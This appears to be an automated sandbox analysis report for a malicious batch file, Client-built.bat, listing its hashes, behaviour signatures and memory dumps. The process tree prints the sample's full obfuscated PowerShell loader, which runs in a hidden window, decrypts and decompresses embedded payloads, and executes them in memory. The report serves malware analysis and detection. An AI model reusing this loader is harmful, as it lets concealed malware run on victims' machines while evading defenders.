79173bee83878cae44d9fc21fa85590711a92edc2d43caafb1350eb2800e72d7

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
24-12-2024 05:16

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General

Target

Client-built.bat
Size

1.6MB
MD5

a7aa482ba1ee0ea8d147d628d5a65f05
SHA1

91e3a640c294a36697d9759a29072fdb4ab62346
SHA256

79173bee83878cae44d9fc21fa85590711a92edc2d43caafb1350eb2800e72d7
SHA512

a27dae71d85910609682cc324d4c4cf5c2e772f0a57209d2fbdc3e345538487d1262148b01b16df8cfb52c3c2a72ae04eb381f7dcf33d77c01d532d421e93a32
SSDEEP

24576:tkjkTu1rkvOjvCsDjTprQ50JDzRj2umzby88rBFjB9a/In5PJBmpR4JRej08SG84:t859kWf+gEJe8yBBl+pIVX4

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3048	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3048	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3048	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 3048	2100	cmd.exe	29
PID 2100 wrote to memory of 3048	2100	cmd.exe	29
PID 2100 wrote to memory of 3048	2100	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Client-built.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p6NsuP0HTePf1oSATs8T+qB1p4ZrLbvAIaEmbH1pdsE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Kxx6XOKog+oT5+kzMuvMwA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HWbzm=New-Object System.IO.MemoryStream(,$param_var); $PCqqJ=New-Object System.IO.MemoryStream; $ePDKE=New-Object System.IO.Compression.GZipStream($HWbzm, [IO.Compression.CompressionMode]::Decompress); $ePDKE.CopyTo($PCqqJ); $ePDKE.Dispose(); $HWbzm.Dispose(); $PCqqJ.Dispose(); $PCqqJ.ToArray();}function execute_function($param_var,$param2_var){ $GchUI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZfPjM=$GchUI.EntryPoint; $ZfPjM.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Client-built.bat';$QJrfq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Client-built.bat').Split([Environment]::NewLine);foreach ($aydBO in $QJrfq) { if ($aydBO.StartsWith(':: ')) { $CdaqF=$aydBO.Substring(3); break; }}$payloads_var=[string[]]$CdaqF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3048

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3048-4-0x000007FEF59AE000-0x000007FEF59AF000-memory.dmp

Filesize
4KB

Download
memory/3048-5-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

Filesize
2.9MB

Download
memory/3048-6-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/3048-8-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/3048-10-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/3048-9-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/3048-7-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/3048-11-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/3048-12-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download